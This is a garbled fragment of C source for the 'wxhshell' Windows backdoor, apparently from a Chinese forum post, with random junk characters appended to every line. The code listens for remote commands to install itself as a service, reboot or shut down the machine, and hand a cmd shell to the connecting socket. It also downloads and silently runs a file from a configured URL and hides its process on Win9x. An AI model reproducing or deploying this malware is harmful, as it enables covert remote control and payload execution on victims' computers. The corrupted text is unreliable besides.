  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rk=D5E7  
  } 3"fDFR  
  else { M  .#}  
3? {AGJ1  
    switch(cmd[0]) { k.T=&0J_1  
  7Z-j'pq  
  // 帮助 Z%T Ajm  
  case '?': { Sn CwoxK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); : =QX^*  
    break; qHtQ4_Zn;  
  } R!nf^*~  
  // 安装 1/_g36\l$  
  case 'i': { K!|eN_1A  
    if(Install()) VK}4 <u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8&<:(mAP  
    else rTD+7 )E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?vXgHDs^T  
    break; gLiJ&H  
    } 6W1GvM\e  
  // 卸载 dBWny&  
  case 'r': { b F=MQ  
    if(Uninstall()) s.3"2waZ=T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3G} )$y3m  
    else P8 X07IK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ik G&  
    break; 5'%I4@Qn+  
    } K`*GZ+b|`  
  // 显示 wxhshell 所在路径 r924!zdbR  
  case 'p': { %L|fTndKH  
    char svExeFile[MAX_PATH]; H R>Y?B{  
    strcpy(svExeFile,"\n\r"); p8Vqy-:  
      strcat(svExeFile,ExeFile); <O#&D|EMd|  
        send(wsh,svExeFile,strlen(svExeFile),0); )XI[hVUA  
    break; f@*69a8  
    } ;p`1Y<d-O  
  // 重启 AGhenDN V  
  case 'b': { *X5)9dq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pz4#>tP  
    if(Boot(REBOOT)) "k zKQ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *D5 xbkH=.  
    else { blc?[ [,!  
    closesocket(wsh); [-~pDkf:  
    ExitThread(0); .qBc;u  
    } tr<~:&H4T  
    break; wmVmGa R  
    } Pk?$\  
  // 关机 U S^% $Z:  
  case 'd': { *yq65yZi5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {q>%Sr]9  
    if(Boot(SHUTDOWN)) 1\hLwG6Jj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a`O'ZY  
    else { .jrNi=BP*  
    closesocket(wsh); .#EU@Hc  
    ExitThread(0); \S}/2]* 1  
    } zAgX{$/Fg  
    break; R >xd*A  
    } Y;'<u\^M"  
  // 获取shell l u=a e<M  
  case 's': { wMa8HeBE\  
    CmdShell(wsh); IQqUFP$8g  
    closesocket(wsh); U-|]A\`)I  
    ExitThread(0); ly0R'4j \  
    break; ;hj lRQ\  
  } F^Ut ZG+  
  // 退出 h5?^MRZS  
  case 'x': { T"wg/mT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yC' y>f`H  
    CloseIt(wsh); Pz)lq2Zm9  
    break; .7iRV  
    } *ug~LK5Y.  
  // 离开 v^"\e&XL  
  case 'q': { E@VQxB7+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =m.Nm-g  
    closesocket(wsh); >$Y/B=e  
    WSACleanup(); 87 gk  
    exit(1); X[Y0r  
    break; |}zWH=6  
        } %m&6'Rpfk  
  } f*k7 @[rSv  
  } 5xH=w:  
"*vrrY  
  // 提示信息 6w.E Sm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vCa8`m  
} 3%v)!dTa<^  
  } Vl.,e1)6  
:Cq73:1\B  
  return; NuZ2,<~9  
} Dfs^W{YA  
=VC18yA  
// shell模块句柄 I}f`iBG  
int CmdShell(SOCKET sock) @SfQbM##%  
{ IDct!53~  
STARTUPINFO si; 96WzgHPWo  
ZeroMemory(&si,sizeof(si)); xGs}hVlZiC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <kB:`&X<\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 17hoX4T  
PROCESS_INFORMATION ProcessInfo; ZTmy}@l  
char cmdline[]="cmd"; s'HsLe0|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @9/I^Zk  
  return 0; PV68d; $:8  
} .}faWzRH9  
b{0a/&&1O  
// 自身启动模式 ybaY+![*  
int StartFromService(void) G`!x+FB  
{ O|Uz)Y94  
typedef struct c5]Xqq,  
{ ~${~To8$CW  
  DWORD ExitStatus; OG$n C  
  DWORD PebBaseAddress;  "'4  
  DWORD AffinityMask; j6%W+;{/pj  
  DWORD BasePriority; Q-x>yau"  
  ULONG UniqueProcessId; #XQ/y}(  
  ULONG InheritedFromUniqueProcessId; gL<n?FG4b  
}   PROCESS_BASIC_INFORMATION; qu B[S)2}  
5 -i,Tx&:  
PROCNTQSIP NtQueryInformationProcess; !h? HfpYv  
~J\qkQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _8G w Mj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bBIh}aDN  
G'|ql5Zw  
  HANDLE             hProcess; z'l$;9(y  
  PROCESS_BASIC_INFORMATION pbi; .W]k 8N E  
l!ow\ZuQBF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BN*:*cmUl  
  if(NULL == hInst ) return 0; [f+wP|NKL  
K0w}l" )A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =O}I{dNKZV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^0]0ss;##R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pg{VKrT`  
F ~A $7  
  if (!NtQueryInformationProcess) return 0; Jg#0g eU  
i(~DhXz*T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #j2kT  
  if(!hProcess) return 0; \$9C1@B@  
=.`\V]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RV~t%Sw^  
m6R/,  
  CloseHandle(hProcess); ?/|Xie  
E/cV59  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^E}?YgNp  
if(hProcess==NULL) return 0;  h,/Aq  
?:r?K|Ku  
HMODULE hMod; =lAjQt  
char procName[255]; IfmQP s+f  
unsigned long cbNeeded; =g+}4P  
LR=Ji7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $RDlM  
UJO3Yn  
  CloseHandle(hProcess); etX@z'H  
/8; m.J>bf  
if(strstr(procName,"services")) return 1; // 以服务启动 )N 3^r>(e<  
TcZ.5Oe6h#  
  return 0; // 注册表启动 >pu4G+M  
} /3s&??{tv  
T0 K!Msz  
// 主模块 xPZ>vCg  
int StartWxhshell(LPSTR lpCmdLine) {aAd (~YZ  
{ 1ksFxpE  
  SOCKET wsl; X]y:uD{  
BOOL val=TRUE; b8d0]YS  
  int port=0; q,Gymh;  
  struct sockaddr_in door; puPI ^6y%  
b8K]>yDAh  
  if(wscfg.ws_autoins) Install(); ^J]&($-  
`W86]ut[  
port=atoi(lpCmdLine); k`5I"-e  
1(p:dqGS  
if(port<=0) port=wscfg.ws_port; Vh~hfj"  
Snk+ZQ-  
  WSADATA data; Vn5T Jw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7y$\|WG?!r  
((ebSu2-?$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A}ZZQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZR1U&<0c@  
  door.sin_family = AF_INET; [ar0{MPYd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .B]l@E-u  
  door.sin_port = htons(port); "t^v;?4  
G*IP?c>=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { prZ ,4\  
closesocket(wsl); g}MUfl-L  
return 1; "Not /8J  
} PC9,;T&7_  
~| j  eNT  
  if(listen(wsl,2) == INVALID_SOCKET) { ROFZ*@CH<  
closesocket(wsl); u1meys a{0  
return 1; )$]lf }  
} 4r(0+SO  
  Wxhshell(wsl); o 2 ng  
  WSACleanup(); vM/*S 6[  
Z3]I^i FI  
return 0; wPg/.N9H  
/\%<VBx ?q  
} rZ?:$],U!  
'3S~QN  
// 以NT服务方式启动 7^><Vh"qV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6]v}  
{ ~5,^CTAM  
DWORD   status = 0; %:aXEjm@  
  DWORD   specificError = 0xfffffff; 3}nk9S:jr  
0O"W0s"T#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,D{7=mDVm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X,Na4~JO(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {KgA V  
  serviceStatus.dwWin32ExitCode     = 0; 2 GRI<M  
  serviceStatus.dwServiceSpecificExitCode = 0; Ay(p~U;gN*  
  serviceStatus.dwCheckPoint       = 0; nJe}U#  
  serviceStatus.dwWaitHint       = 0; 6qT@M0)i  
]s=|+tz\V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v@zi?D K  
  if (hServiceStatusHandle==0) return; BpIyw  
4]r_K2.cc  
status = GetLastError(); H9)@q3<  
  if (status!=NO_ERROR) PCl5,]B}  
{ _)45G"M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O|H:  
    serviceStatus.dwCheckPoint       = 0; &vrQ *jX  
    serviceStatus.dwWaitHint       = 0; r,;ca6>5H  
    serviceStatus.dwWin32ExitCode     = status; DMUirA;  
    serviceStatus.dwServiceSpecificExitCode = specificError; [rx9gOOa&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f=^xU P  
    return; NifQsy)*%  
  } .?{no}u.  
f30J8n"k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~A>fB2.pM  
  serviceStatus.dwCheckPoint       = 0; F CYGXtc  
  serviceStatus.dwWaitHint       = 0; M5no4P<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -+ByK#<%  
} j !*,(  
[oh06_rB  
// 处理NT服务事件,比如:启动、停止 _^E NRk@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @bg9 }Z%\h  
{ ?;,;  
switch(fdwControl) Dck/Ea  
{ aEN` `  
case SERVICE_CONTROL_STOP: %O`@}Tg  
  serviceStatus.dwWin32ExitCode = 0; v +4v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2W+~{3[#  
  serviceStatus.dwCheckPoint   = 0; vzS b(  
  serviceStatus.dwWaitHint     = 0; DvH-M3  
  { W_B=}lP@x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@#he95 }  
  } +RJ{)Nec  
  return; 0%bCP/  
case SERVICE_CONTROL_PAUSE: NQqw|3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )M0`dy{1  
  break; 5t:Zp\$+`  
case SERVICE_CONTROL_CONTINUE: yX!fj\R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; == wX.y\.n  
  break; \dHqCQ  
case SERVICE_CONTROL_INTERROGATE: !R@LC  
  break; gC?}1]9c  
}; k'iiRRM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J2qsZ  
} (1z"=NCp  
]({ -vG\m  
// 标准应用程序主函数 5qrD~D '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b^HDN(v  
{ \=0;EI-j  
]1++$Ej  
// 获取操作系统版本 )|*Qs${tF  
OsIsNt=GetOsVer(); d7^ `  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v_zt$bf{Y  
q=3>ij {v  
  // 从命令行安装 h8(#\E  
  if(strpbrk(lpCmdLine,"iI")) Install(); z)T-<zWO;  
qy|bOl  
  // 下载执行文件 {\5(aQ)Vi5  
if(wscfg.ws_downexe) { [ K?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;^/ruf[t  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rs=Fcvl  
} _&l8^MD  
2 `AdNt,  
if(!OsIsNt) { +,spC`M6h  
// 如果时win9x,隐藏进程并且设置为注册表启动 =%|`gZ  
HideProc(); 2_pF#M9  
StartWxhshell(lpCmdLine); O::FB.k  
}  J#` 7!  
else 6SCjlaGW5  
  if(StartFromService()) |*?N#0s5h  
  // 以服务方式启动 c';~bYZ  
  StartServiceCtrlDispatcher(DispatchTable); Fu.aV876\f  
else &6\&McmkX  
  // 普通方式启动 yu6~:$%H  
  StartWxhshell(lpCmdLine); 9(]_so24,  
cB,^?djJ3  
return 0; *fm?"0M5  
}
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只看该作者 1 发表于: 2006-10-10
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